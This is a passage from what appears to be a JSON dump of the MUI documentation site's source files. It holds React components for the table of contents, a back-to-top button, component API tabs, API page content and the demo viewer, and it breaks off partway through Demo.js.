'block',\n        },\n      },\n    },\n  ],\n}));\n\nconst noop = () => {};\n\nfunction useThrottledOnScroll(callback, delay) {\n  const throttledCallback = React.useMemo(\n    () => (callback ? throttle(callback, delay) : noop),\n    [callback, delay],\n  );\n\n  React.useEffect(() => {\n    if (throttledCallback === noop) {\n      return undefined;\n    }\n\n    window.addEventListener('scroll', throttledCallback);\n    return () => {\n      window.removeEventListener('scroll', throttledCallback);\n      throttledCallback.cancel();\n    };\n  }, [throttledCallback]);\n}\n\nfunction flatten(headings) {\n  const itemsWithNode = [];\n\n  headings.forEach((item) => {\n    itemsWithNode.push(item);\n\n    if (item.children.length > 0) {\n      item.children.forEach((subitem) => {\n        itemsWithNode.push(subitem);\n      });\n    }\n  });\n  return itemsWithNode;\n}\n\nexport default function AppTableOfContents(props) {\n  const { toc, wideLayout } = props;\n  const t = useTranslate();\n\n  const items = React.useMemo(() => flatten(toc), [toc]);\n  const [activeState, setActiveState] = React.useState(null);\n  const clickedRef = React.useRef(false);\n  const unsetClickedRef = React.useRef(null);\n\n  const findActiveIndex = React.useCallback(() => {\n    // Don't set the active index based on scroll if a link was just clicked\n    if (clickedRef.current) {\n      return;\n    }\n\n    let active;\n\n    // No hash if we're near the top of the page\n    if (document.documentElement.scrollTop < 200) {\n      active = { hash: null };\n    }\n    // If scrolled to bottom, activate the last item\n    else if (\n      document.documentElement.scrollTop + window.innerHeight >=\n      document.documentElement.scrollHeight - 50\n    ) {\n      active = items[items.length - 1];\n    } else {\n      for (let i = items.length - 1; i >= 0; i -= 1) {\n        const item = items[i];\n        const node = document.getElementById(item.hash);\n\n        if (process.env.NODE_ENV !== 'production') {\n          if (!node) {\n            console.error(`Missing node on the item ${JSON.stringify(item, null, 2)}`);\n          }\n        }\n\n        if (\n          node &&\n          node.offsetTop <\n            document.documentElement.scrollTop + document.documentElement.clientHeight / 8\n        ) {\n          active = item;\n          break;\n        }\n      }\n    }\n\n    if (active && activeState !== active.hash) {\n      setActiveState(active.hash);\n    }\n  }, [activeState, items]);\n\n  // Corresponds to 10 frames at 60 Hz\n  useThrottledOnScroll(items.length > 0 ? findActiveIndex : null, 166);\n\n  const handleClick = (hash) => (event) => {\n    // Ignore click events meant for native link handling, for example open in new tab\n    if (samePageLinkNavigation(event)) {\n      return;\n    }\n\n    // Used to disable findActiveIndex if the page scrolls due to a click\n    clickedRef.current = true;\n    unsetClickedRef.current = setTimeout(() => {\n      clickedRef.current = false;\n    }, 1000);\n\n    if (activeState !== hash) {\n      setActiveState(hash);\n    }\n  };\n\n  React.useEffect(\n    () => () => {\n      clearTimeout(unsetClickedRef.current);\n    },\n    [],\n  );\n\n  const itemLink = (item, level, onLinkClick) => (\n    <NavItem\n      display=\"block\"\n      href={`#${item.hash}`}\n      underline=\"none\"\n      onClick={(event) => {\n        handleClick(item.hash)(event);\n        if (onLinkClick) {\n          onLinkClick();\n        }\n      }}\n      active={activeState === item.hash}\n      level={level}\n    >\n      <span dangerouslySetInnerHTML={{ __html: item.text }} />\n    </NavItem>\n  );\n\n  return (\n    <React.Fragment>\n      <Nav aria-label={t('pageTOC')} wideLayout={wideLayout}>\n        <TableOfContents toc={toc} itemLink={itemLink} />\n      </Nav>\n      <MiniTableOfContents\n        toc={toc}\n        activeState={activeState}\n        itemLink={itemLink}\n        onItemClick={handleClick}\n        wideLayout={wideLayout}\n      />\n    </React.Fragment>\n  );\n}\n\nAppTableOfContents.propTypes = {\n  toc: PropTypes.array.isRequired,\n  wideLayout: PropTypes.bool,\n};\n"
  },
  {
    "path": "docs/src/modules/components/AppTheme.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Head from 'docs/src/modules/components/Head';\n\nexport default function AppTheme(props) {\n  const { children } = props;\n\n  return (\n    <React.Fragment>\n      <Head>\n        <meta name=\"robots\" content=\"noindex,nofollow\" />\n      </Head>\n      {children}\n    </React.Fragment>\n  );\n}\n\nAppTheme.propTypes = {\n  children: PropTypes.node.isRequired,\n};\n"
  },
  {
    "path": "docs/src/modules/components/BackToTop.tsx",
    "content": "import * as React from 'react';\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\nimport Fab from '@mui/material/Fab';\nimport Box from '@mui/material/Box';\nimport Tooltip from '@mui/material/Tooltip';\nimport KeyboardArrowUpRoundedIcon from '@mui/icons-material/KeyboardArrowUpRounded';\nimport Fade from '@mui/material/Fade';\nimport { Theme } from '@mui/material/styles';\nimport { useTranslate } from '@mui/docs/i18n';\n\nexport default function BackToTop() {\n  const t = useTranslate();\n  const [open, setOpen] = React.useState(false);\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleOpen = () => {\n    setOpen(true);\n  };\n\n  const trigger = useScrollTrigger({\n    disableHysteresis: true,\n    threshold: 200,\n  });\n\n  const handleClick = () => {\n    const prefersReducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)');\n    const behavior = prefersReducedMotion.matches ? 'auto' : 'smooth';\n\n    window.scrollTo({ top: 0, behavior });\n    setOpen(false);\n  };\n\n  return (\n    <Fade in={trigger}>\n      <Box className=\"mui-fixed\" sx={{ position: 'fixed', bottom: 24, right: 24, zIndex: 10 }}>\n        <Tooltip\n          title=\"Scroll to top\"\n          placement=\"left\"\n          open={open}\n          onClose={handleClose}\n          onOpen={handleOpen}\n        >\n          <Fab\n            size=\"small\"\n            aria-label={t('backToTop')}\n            onClick={handleClick}\n            data-ga-event-category=\"docs\"\n            data-ga-event-action=\"click-back-to-top\"\n            sx={(theme) => ({\n              backgroundColor: (theme.vars || theme).palette.primary[50],\n              border: `1px solid ${(theme.vars || theme).palette.primary[200]}`,\n              boxShadow: `0px 4px 12px rgba(0, 0, 0, 0.1)`,\n              '&:hover': {\n                backgroundColor: (theme.vars || theme).palette.primary[200],\n              },\n              ...theme.applyDarkStyles({\n                backgroundColor: (theme.vars || theme).palette.primary[900],\n                borderColor: (theme.vars || theme).palette.primary[700],\n                boxShadow: `0px 4px 12px rgba(0, 0, 0, 0.8)`,\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[800],\n                },\n              }),\n            })}\n          >\n            <KeyboardArrowUpRoundedIcon\n              sx={(theme: Theme) => ({\n                color: (theme.vars || theme).palette.primary[800],\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.primary[200],\n                }),\n              })}\n            />\n          </Fab>\n        </Tooltip>\n      </Box>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/BundleSizeIcon.js",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fill=\"currentColor\" fillRule=\"nonzero\">\n    <path\n      d=\"M5.84 3c-.52 0-1 .25-1.3.67l-1.4 2.05c-.06.09-.1.19-.14.28h8V3H5.84zM20.86 5.72l-1.4-2.05c-.3-.42-.81-.67-1.33-.67H13v3h8c-.05-.1-.08-.2-.14-.28z\"\n      fillOpacity=\".79\"\n    />\n    <path\n      d=\"M20.98 7H3.02L3 7.11V19.4c0 .89.71 1.61 1.58 1.61h14.84A1.6 1.6 0 0021 19.4V7.1L20.98 7zm-6.87 5.36H9.89a1.6 1.6 0 01-1.58-1.61c0-.89.7-1.6 1.58-1.6h4.22c.87 0 1.58.71 1.58 1.6 0 .89-.7 1.6-1.58 1.6z\"\n      fillOpacity=\".87\"\n    />\n  </g>,\n  'BundleSize',\n);\n"
  },
  {
    "path": "docs/src/modules/components/ComponentPageTabs.js",
    "content": "import PropTypes from 'prop-types';\nimport { useRouter } from 'next/router';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport { useTranslate } from '@mui/docs/i18n';\nimport { Link } from '@mui/docs/Link';\n\nexport const HEIGHT = 50;\n\nconst LinkTab = styled(Link)(({ theme }) => ({\n  minHeight: 30,\n  minWidth: 0,\n  padding: theme.spacing(0.5, 1),\n  border: '1px solid',\n  borderColor: 'transparent',\n  fontFamily: theme.typography.fontFamily,\n  fontWeight: theme.typography.fontWeightSemiBold,\n  fontSize: theme.typography.pxToRem(14),\n  color: (theme.vars || theme).palette.text.secondary,\n  borderRadius: '8px',\n  '&:hover': {\n    background: (theme.vars || theme).palette.grey[50],\n    borderColor: (theme.vars || theme).palette.divider,\n    color: (theme.vars || theme).palette.text.primary,\n  },\n  ...theme.applyDarkStyles({\n    '&:hover': {\n      borderColor: (theme.vars || theme).palette.divider,\n      background: (theme.vars || theme).palette.primaryDark[700],\n    },\n    '&.Mui-selected': {\n      color: (theme.vars || theme).palette.primary[300],\n    },\n  }),\n}));\n\nexport default function ComponentPageTabs(props) {\n  const {\n    activeTab,\n    children,\n    markdown: { headers },\n  } = props;\n  const router = useRouter();\n  const t = useTranslate();\n\n  const demosHref = router.pathname.endsWith('[docsTab]')\n    ? router.pathname.replace('[docsTab]', '')\n    : router.pathname;\n  const apiPathname = `${demosHref.endsWith('/') ? demosHref : `${demosHref}/`}`;\n  const componentsHref = `${apiPathname}components-api`;\n  const hooksHref = `${apiPathname}hooks-api`;\n\n  const widthMap = {\n    '': '62px',\n    'components-api': '127px',\n    'hooks-api': '86px',\n  };\n\n  const width = widthMap[activeTab];\n\n  const leftMap = {\n    '': '1px',\n    'components-api': '67px',\n    'hooks-api': '198px',\n  };\n\n  const left = leftMap[activeTab];\n\n  const linkTabData = [\n    {\n      key: '',\n      label: t('api-docs.demos'),\n      href: demosHref,\n    },\n    ...(headers.components?.length > 0\n      ? [\n          {\n            key: 'components-api',\n            label: t('api-docs.componentsApi'),\n            href: componentsHref,\n          },\n        ]\n      : []),\n    ...(headers.hooks && headers.hooks.length > 0\n      ? [\n          {\n            key: 'hooks-api',\n            label: t('api-docs.hooksApi'),\n            href: hooksHref,\n          },\n        ]\n      : []),\n  ];\n\n  return (\n    <Box className=\"component-tabs\" sx={{ display: 'inline' }}>\n      <Box\n        component=\"nav\"\n        className=\"component-tabs\"\n        sx={(theme) => ({\n          width: '100%',\n          position: 'sticky',\n          top: 57, // to be positioned below the app bar\n          mt: 2,\n          backdropFilter: 'blur(8px)',\n          backgroundColor: 'rgba(255,255,255,0.8)',\n          borderBottom: 1,\n          borderColor: 'divider',\n          zIndex: 1000,\n          display: 'inline-flex',\n          py: 1,\n          gap: 0.5,\n          '&::before': {\n            content: \"''\",\n            position: 'absolute',\n            bottom: 0,\n            left,\n            width,\n            height: '2px',\n            backgroundColor: 'primary.light',\n          },\n          ...theme.applyDarkStyles({\n            backgroundColor: alpha(theme.palette.primaryDark[900], 0.7),\n          }),\n        })}\n      >\n        {linkTabData.map((linkTab) => (\n          <LinkTab\n            key={linkTab.key}\n            href={linkTab.href}\n            aria-current={activeTab === linkTab.key ? 'page' : undefined}\n            className={linkTab.key.includes('api') ? 'skip-algolia-crawler' : ''} // Details: https://github.com/mui/material-ui/pull/37539\n            sx={{ color: activeTab === linkTab.key ? 'primary.main' : 'inherit' }}\n          >\n            {linkTab.label}\n          </LinkTab>\n        ))}\n      </Box>\n      {children}\n    </Box>\n  );\n}\n\nComponentPageTabs.propTypes = {\n  activeTab: PropTypes.string,\n  children: PropTypes.node,\n  markdown: PropTypes.shape({\n    headers: PropTypes.shape({\n      components: PropTypes.array,\n      hooks: PropTypes.array,\n    }),\n  }),\n};\n"
  },
  {
    "path": "docs/src/modules/components/ComponentsApiContent.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { kebabCase } from 'es-toolkit/string';\nimport { useRouter } from 'next/router';\nimport exactProp from '@mui/utils/exactProp';\nimport { Translate, useTranslate, useUserLanguage } from '@mui/docs/i18n';\nimport { SectionTitle, SectionTitleProps } from '@mui/docs/SectionTitle';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\nimport type { LayoutStorageKeys } from '@mui/docs/ApiPage';\nimport { ComponentApiContent, PropsTranslations } from '@mui-internal/api-docs-builder';\nimport {\n  ApiDisplayLayout,\n  DEFAULT_API_LAYOUT_STORAGE_KEYS,\n  getPropsApiDefinitions,\n  getClassApiDefinitions,\n  getSlotsApiDefinitions,\n  PropertiesSection,\n  SlotsSection,\n  ClassesSection,\n} from '@mui/docs/ApiPage/private';\n\nfunction getTranslatedHeader(t: Translate, header: string, title?: string) {\n  const translations: Record<string, string> = {\n    demos: t('api-docs.demos'),\n    import: t('api-docs.import'),\n    props: t('api-docs.props'),\n    'theme-default-props': t('api-docs.themeDefaultProps'),\n    inheritance: t('api-docs.inheritance'),\n    slots: t('api-docs.slots'),\n    classes: t('api-docs.classes'),\n    css: t('api-docs.css'),\n  };\n\n  return translations[header] || (title && translations[title]) || title || header;\n}\n\nfunction Heading(props: SectionTitleProps) {\n  const { hash, title, level = 'h2' } = props;\n  const t = useTranslate();\n\n  return <SectionTitle title={getTranslatedHeader(t, hash, title)} hash={hash} level={level} />;\n}\n\nHeading.propTypes = {\n  hash: PropTypes.string.isRequired,\n  level: PropTypes.string,\n  title: PropTypes.string,\n};\n\ntype ComponentsApiContentProps = {\n  descriptions: {\n    [component: string]: {\n      [lang: string]: PropsTranslations;\n    };\n  };\n  pageContents: { [component: string]: ComponentApiContent };\n  defaultLayout?: ApiDisplayLayout;\n  layoutStorageKey?: LayoutStorageKeys;\n};\n\nexport default function ComponentsApiContent(props: ComponentsApiContentProps) {\n  const {\n    descriptions,\n    pageContents,\n    defaultLayout = 'table',\n    layoutStorageKey = DEFAULT_API_LAYOUT_STORAGE_KEYS,\n  } = props;\n  const t = useTranslate();\n  const userLanguage = useUserLanguage();\n  const router = useRouter();\n\n  // There are legacy links where the the components had the Unstyled suffix\n  // This effects makes sure that the anchors will be correct with the renames\n  React.useEffect(() => {\n    const anchor = router.asPath.includes('#') ? router.asPath.split('#')[1] : null;\n    if (router.isReady && anchor && anchor.includes('-unstyled')) {\n      router.replace(\n        {\n          hash: `${anchor.replace('-unstyled', '')}`,\n        },\n        undefined,\n        {\n          shallow: true,\n        },\n      );\n    }\n  }, [router]);\n\n  const components = Object.keys(pageContents);\n\n  return components.map((key) => {\n    const pageContent = pageContents[key];\n    const {\n      cssComponent,\n      forwardsRefTo,\n      inheritance,\n      name: componentName,\n      props: componentProps,\n      spread,\n      slots: componentSlots,\n      classes,\n      imports,\n    } = pageContent;\n\n    const componentClasses = [...classes].sort((c1, c2) =>\n      c1.className.localeCompare(c2.className),\n    );\n\n    const { classDescriptions, propDescriptions, slotDescriptions } =\n      descriptions[key][userLanguage];\n\n    const defaultPropsLink = '/material-ui/customization/theme-components/#theme-default-props';\n    const slotGuideLink = '';\n\n    // The `ref` is forwarded to the root element.\n    let refHint = t('api-docs.refRootElement');\n    if (forwardsRefTo == null) {\n      // The component cannot hold a ref.\n      refHint = t('api-docs.refNotHeld');\n    }\n\n    let spreadHint = '';\n    if (spread) {\n      // Any other props supplied will be provided to the root element ({{spreadHintElement}}).\n      spreadHint = t('api-docs.spreadHint').replace(\n        /{{spreadHintElement}}/,\n        inheritance\n          ? `<a href=\"${inheritance.pathname}\">${inheritance.component}</a>`\n          : t('api-docs.nativeElement'),\n      );\n    }\n\n    let inheritanceSuffix = '';\n    if (inheritance && inheritance.component === 'Transition') {\n      inheritanceSuffix = t('api-docs.inheritanceSuffixTransition');\n    }\n\n    const componentNameKebabCase = kebabCase(componentName);\n\n    const importInstructions = imports.join(`\n// ${t('or')}\n`);\n\n    return (\n      <React.Fragment key={`component-api-${key}`}>\n        <MarkdownElement>\n          <Heading hash={componentNameKebabCase} title={`${componentName} API`} />\n          <Heading title=\"import\" hash={`${componentNameKebabCase}-import`} level=\"h3\" />\n          <HighlightedCode code={importInstructions} language=\"jsx\" />\n          {imports.length > 1 && (\n            <p dangerouslySetInnerHTML={{ __html: t('api-docs.importDifference') }} />\n          )}\n          <PropertiesSection\n            properties={getPropsApiDefinitions({\n              componentName: pageContent.name,\n              properties: componentProps,\n              propertiesDescriptions: propDescriptions,\n            })}\n            spreadHint={spreadHint}\n            level=\"h3\"\n            titleHash={`${componentNameKebabCase}-props`}\n            defaultLayout={defaultLayout}\n            layoutStorageKey={layoutStorageKey.props}\n          />\n          <br />\n          {cssComponent && (\n            <React.Fragment>\n              <div\n                dangerouslySetInnerHTML={{\n                  __html: t('api-docs.cssComponent').replace(/{{name}}/, pageContent.name),\n                }}\n              />\n              <br />\n              <br />\n            </React.Fragment>\n          )}\n          <div\n            className=\"MuiCallout-root MuiCallout-info\"\n            dangerouslySetInnerHTML={{ __html: refHint }}\n            style={{\n              alignItems: 'baseline',\n              gap: '4px',\n              marginTop: 0,\n            }}\n          />\n          {inheritance && (\n            <React.Fragment>\n              <Heading\n                title=\"inheritance\"\n                hash={`${componentNameKebabCase}-inheritance`}\n                level=\"h3\"\n              />\n              <div\n                dangerouslySetInnerHTML={{\n                  __html: t('api-docs.inheritanceDescription')\n                    .replace(/{{component}}/, inheritance.component)\n                    .replace(/{{pathname}}/, inheritance.pathname)\n                    .replace(/{{suffix}}/, inheritanceSuffix)\n                    .replace(/{{name}}/, pageContent.name),\n                }}\n              />\n            </React.Fragment>\n          )}\n          {pageContent.themeDefaultProps && (\n            <React.Fragment>\n              <Heading\n                title=\"theme-default-props\"\n                hash={`${componentName}-theme-default-props`}\n                level=\"h4\"\n              />\n              <div\n                dangerouslySetInnerHTML={{\n                  __html: t('api-docs.themeDefaultPropsDescription')\n                    .replace(/{{muiName}}/, pageContent.muiName)\n                    .replace(/{{defaultPropsLink}}/, defaultPropsLink),\n                }}\n              />\n            </React.Fragment>\n          )}\n          <SlotsSection\n            slots={getSlotsApiDefinitions({\n              componentSlots,\n              slotDescriptions,\n              componentName,\n            })}\n            titleHash={`${componentNameKebabCase}-slots`}\n            level=\"h3\"\n            spreadHint={\n              slotGuideLink &&\n              t('api-docs.slotDescription').replace(/{{slotGuideLink}}/, slotGuideLink)\n            }\n            defaultLayout={defaultLayout}\n            layoutStorageKey={layoutStorageKey.slots}\n          />\n          <ClassesSection\n            classes={getClassApiDefinitions({\n              componentClasses,\n              componentName: pageContent.name,\n              classDescriptions,\n            })}\n            spreadHint={t('api-docs.classesDescription')}\n            titleHash={`${componentNameKebabCase}-classes`}\n            level=\"h3\"\n            defaultLayout={defaultLayout}\n            layoutStorageKey={layoutStorageKey.classes}\n          />\n        </MarkdownElement>\n        <svg style={{ display: 'none' }} xmlns=\"http://www.w3.org/2000/svg\">\n          <symbol id=\"anchor-link-icon\" viewBox=\"0 0 16 16\">\n            <path d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\" />\n          </symbol>\n        </svg>\n      </React.Fragment>\n    );\n  });\n}\n\nif (process.env.NODE_ENV !== 'production') {\n  ComponentsApiContent.propTypes = exactProp({\n    defaultLayout: PropTypes.oneOf(['collapsed', 'expanded', 'table']),\n    descriptions: PropTypes.object.isRequired,\n    layoutStorageKey: PropTypes.shape({\n      classes: PropTypes.string,\n      props: PropTypes.string,\n      slots: PropTypes.string,\n    }),\n    pageContents: PropTypes.object.isRequired,\n  });\n}\n"
  },
  {
    "path": "docs/src/modules/components/Demo.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport copy from 'clipboard-copy';\nimport { debounce } from '@mui/material/utils';\nimport { alpha, styled } from '@mui/material/styles';\nimport { Tabs } from '@mui/base/Tabs';\nimport { TabPanel } from '@mui/base/TabPanel';\nimport { unstable_useId as useId } from '@mui/utils';\nimport IconButton from '@mui/material/IconButton';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport NoSsr from '@mui/material/NoSsr';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport { CodeTab, CodeTabList } from '@mui/docs/HighlightedCodeWithTabs';\nimport ContentCopyRoundedIcon from '@mui/icons-material/ContentCopyRounded';\nimport LibraryAddCheckRoundedIcon from '@mui/icons-material/LibraryAddCheckRounded';\nimport DemoSandbox from 'docs/src/modules/components/DemoSandbox';\nimport ReactRunner from 'docs/src/modules/components/ReactRunner';\nimport DemoEditor from 'docs/src/modules/components/DemoEditor';\nimport DemoEditorError from 'docs/src/modules/components/DemoEditorError';\nimport { useDemoContext } from '@mui/docs/DemoContext';\nimport { useCodeVariant } from '@mui/docs/codeVariant';\nimport { CODE_VARIANTS } from '@mui/docs/constants';\nimport { useUserLanguage, useTranslate } from '@mui/docs/i18n';\nimport stylingSolutionMapping from 'docs/src/modules/utils/stylingSolutionMapping';\nimport DemoToolbarRoot from 'docs/src/modules/components/DemoToolbarRoot';\nimport { AdCarbonInline } from '@mui/docs/Ad';\nimport DemoAiSuggestionHero from 'docs/src/modules/components/DemoAiSuggestionHero';\n\n/**\n * Removes leading spaces (indentation) present in the `.tsx` previews\n * to be able to replace the existing code with the incoming dynamic code\n * @param {string} input\n */\nfunction trimLeadingSpaces(input = '') {\n  return input.replace(/^\\s+/gm, '');\n}\n\nconst DemoToolbar = React.lazy(() => import('./DemoToolbar'));\n\nfunction DemoToolbarFallback() {\n  const t = useTranslate();\n\n  // Sync with styles from DemoToolbar, we can't import the styles\n  return <Box sx={{ height: 42 }} aria-busy aria-label={t('demoToolbarLabel')} role=\"toolbar\" />;\n}\n\nfunction getDemoName(location) {\n  return location.endsWith('.js') || location.endsWith('.tsx')\n    ? location.replace(/(.+?)(\\w+)\\.\\w+$$/, '$2')\n    : // the demos with multiple styling solution point to directory\n      location.split('/').pop();\n}\n\nfunction useDemoData(codeVariant, demo, githubLocation, productDisplayName) {\n  const userLanguage = useUserLanguage();\n\n  return React.useMemo(() => {\n    let codeOptions = {};\n\n    if (codeVariant === CODE_VARIANTS.TS && demo.rawTS) {\n      codeOptions = {\n        codeVariant: CODE_VARIANTS.TS,\n        githubLocation: githubLocation.replace(/\\.js$/, '.tsx'),\n        raw: demo.rawTS,\n        module: demo.moduleTS,\n        Component: demo.tsx ?? null,\n        sourceLanguage: 'tsx',\n      };\n      if (demo.relativeModules) {\n        codeOptions.relativeModules = demo.relativeModules[CODE_VARIANTS.TS];\n      }\n    } else {\n      codeOptions = {\n        codeVariant: CODE_VARIANTS.JS,\n        githubLocation,\n        raw: demo.raw,\n        module: demo.module,\n        Component: demo.js,\n        sourceLanguage: 'jsx',\n      };\n      if (demo.relativeModules) {\n        codeOptions.relativeModules = demo.relativeModules[CODE_VARIANTS.JS];\n      }\n    }\n\n    return {\n      scope: demo.scope,\n      jsxPreview: demo.jsxPreview,\n      ...codeOptions,\n      title: `${getDemoName(githubLocation)} demo — ${productDisplayName}`,\n      language: userLanguage,\n    };\n  }, [codeVariant, demo, githubLocation, productDisplayName, userLanguage]);\n}\n\nfunction useDemoElement({ demoData, editorCode, setDebouncedError, liveDemoActive }) {\n  const debouncedSetError = React.useMemo(\n    () => debounce(setDebouncedError, 300),\n    [setDebouncedError],\n  );\n\n  React.useEffect(() => {\n    return () => {\n      debouncedSetError.clear();\n    };\n  }, [debouncedSetError]);\n\n  // Memoize to avoid rendering the demo more than it needs to be.\n  // For example, avoid a render when the demo is hovered.\n  const BundledComponent = React.useMemo(() => <demoData.Component />, [demoData]);\n  const LiveComponent = React.useMemo(\n    () => (\n      <ReactRunner\n        scope={demoData.scope}\n        onError={debouncedSetError}\n        code={\n          editorCode.isPreview\n            ? trimLeadingSpaces(demoData.raw).replace(\n                trimLeadingSpaces(demoData.jsxPreview),\n                editorCode.value,\n              )\n            : editorCode.value\n        }\n      />\n    ),\n    [demoData, debouncedSetError, editorCode.isPreview, editorCode.value],\n  );\n\n  // No need for a live environment if the code matches with the component rendered server-side.\n  return editorCode.value === editorCode.initialEditorCode && liveDemoActive === false\n    ? BundledComponent\n    : LiveComponent;\n}\n\nconst Root = styled('div')(({ theme }) => ({\n  marginBottom: 24,\n  marginLeft: theme.spacing(-2),\n  marginRight: theme.spacing(-2),\n  [theme.breakpoints.up('sm')]: {\n    marginLeft: 0,\n    marginRight: 0,\n  },\n}));\n\nconst DemoRoot = styled('div', {\n  shouldForwardProp: (prop) =>\n    prop !== 'hideToolbar' && prop !== 'bg' && prop !== 'hasAiSuggestion',\n})(({ theme }) => ({\n  position: 'relative',\n  margin: 'auto',\n  display: 'flex',\n  justifyContent: 'center',\n  variants: [\n    {\n      props: ({ hideToolbar }) => hideToolbar,\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          borderRadius: 12,\n        },\n      },\n    },\n    {\n      props: ({ hideToolbar }) => !hideToolbar,\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          borderRadius: '12px 12px 0 0',\n        },\n      },\n    },\n    {\n      props: {\n        bg: 'outlined',\n      },\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          borderLeftWidth: 1,\n          borderRightWidth: 1,\n        },\n      },\n    },\n    {\n      props: {\n        bg: 'inline',\n      },\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          padding: theme.spacing(0),\n        },\n      },\n    },\n    {\n      props: {\n        bg: 'gradient',\n      },\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          padding: theme.spacing(12, 8),\n          borderLeftWidth: 1,\n          borderRightWidth: 1,\n        },\n      },\n    },\n    {\n      props: {\n        bg: 'outlined',\n      },\n      style: {\n        padding: theme.spacing(3),\n        backgroundColor: (theme.vars || theme).palette.background.paper,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        borderLeftWidth: 0,\n        borderRightWidth: 0,\n        ...theme.applyDarkStyles({\n          backgroundColor: alpha(theme.palette.primaryDark[700], 0.1),\n        }),\n      },\n    },\n    {\n      props: {\n        bg: 'playground',\n      },\n      style: {\n        backgroundColor: (theme.vars || theme).palette.background.paper,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        overflow: 'auto',\n      },\n    },\n    {\n      props: {\n        bg: true,\n      },\n      style: {\n        padding: theme.spacing(3),\n        backgroundColor: alpha(theme.palette.grey[50], 0.5),\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        ...theme.applyDarkStyles({\n          backgroundColor: alpha(theme.palette.primaryDark[700], 0.4),\n        }),\n      },\n    },\n    {\n      props: {\n        bg: 'gradient',\n      },\n      style: {\n        overflow: 'auto',\n        padding: theme.spacing(4, 2),\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        borderLeftWidth: 0,\n        borderRightWidth: 0,\n        backgroundClip: 'padding-box',\n        backgroundColor: alpha(theme.palette.primary[50], 0.2),\n        backgroundImage: `radial-gradient(120% 140% at 50% 10%, transparent 40%, ${alpha(theme.palette.primary[100], 0.2)} 70%)`,\n        ...theme.applyDarkStyles({\n          backgroundColor: (theme.vars || theme).palette.primaryDark[900],\n          backgroundImage: `radial-gradient(120% 140% at 50% 10%, transparent 30%, ${alpha(theme.palette.primary[900], 0.3)} 80%)`,\n        }),\n      },\n    },\n  ],\n}));\n\nconst DemoCodeViewer = styled(HighlightedCode)(() => ({\n  '& pre': {\n    margin: 0,\n    marginTop: -1,\n    maxHeight: 'min(68vh, 1000px)',\n    maxWidth: 'initial',\n    borderRadius: 0,\n    borderBottomLeftRadius: 12,\n    borderBottomRightRadius: 12,\n  },\n}));\n\nconst AnchorLink = styled('div')({\n  marginTop: -64, // height of toolbar\n  position: 'absolute',\n});\n\nconst InitialFocus = styled(IconButton)(({ theme }) => ({\n  position: 'absolute',\n  top: 0,\n  left: 0,\n  width: theme.spacing(4),\n  height: theme.spacing(4),\n  pointerEvents: 'none',\n}));\n\nconst selectionOverride = (theme) => ({\n  cursor: 'pointer',\n  '&.base--selected': {\n    color: (theme.vars || theme).palette.primary[700],\n    backgroundColor: (theme.vars || theme).palette.primary[50],\n    borderColor: (theme.vars || theme).palette.primary[200],\n    ...theme.applyDarkStyles({\n      color: (theme.vars || theme).palette.primary[200],\n      backgroundColor: alpha(theme.palette.primary[900], 0.4),\n      borderColor: (theme.vars || theme).palette.primary[800],\n    }),\n  },\n});\n\nexport default function Demo(props) {\n  const { demo, demoOptions, disableAd, githubLocation } = props;\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (demoOptions.hideToolbar === false) {\n      throw new Error(\n        [\n          '\"hideToolbar\": false is already the default.',\n          `Please remove the property in {{\"demo\": \"${demoOptions.demo}\", …}}.`,\n        ].join('\\n'),\n      );\n    }\n    if (demoOptions.hideToolbar === true && demoOptions.defaultCodeOpen === true) {\n      throw new Error(\n        [\n          '\"hideToolbar\": true, \"defaultCodeOpen\": true combination is invalid.',\n          `Please remove one of the properties in {{\"demo\": \"${demoOptions.demo}\", …}}.`,\n        ].join('\\n'),\n      );\n    }\n    if (demoOptions.hideToolbar === true && demoOptions.disableAd === true) {\n      throw new Error(\n        [\n          '\"hideToolbar\": true, \"disableAd\": true combination is invalid.',\n          `Please remove one of the properties in {{\"demo\": \"${demoOptions.demo}\", …}}.`,\n        ].join('\\n'),\n      );\n    }\n  }\n\n  if (\n    (demoOptions.demo.endsWith('.ts') || demoOptions.demo.endsWith('.tsx')) &&\n    demoOptions.hideToolbar !== true\n  ) {\n    throw new Error(\n      [\n        `The following demos use TS directly: ${demoOptions.demo}.`,\n        '',\n        'Please run \"pnpm docs:typescript:formatted\" to generate a JS version and reference it:',\n        // This regex intentionally excludes the dot character in the Kleene star to prevent ReDoS\n        // See https://github.com/mui/material-ui/issues/44078\n        `{{\"demo\": 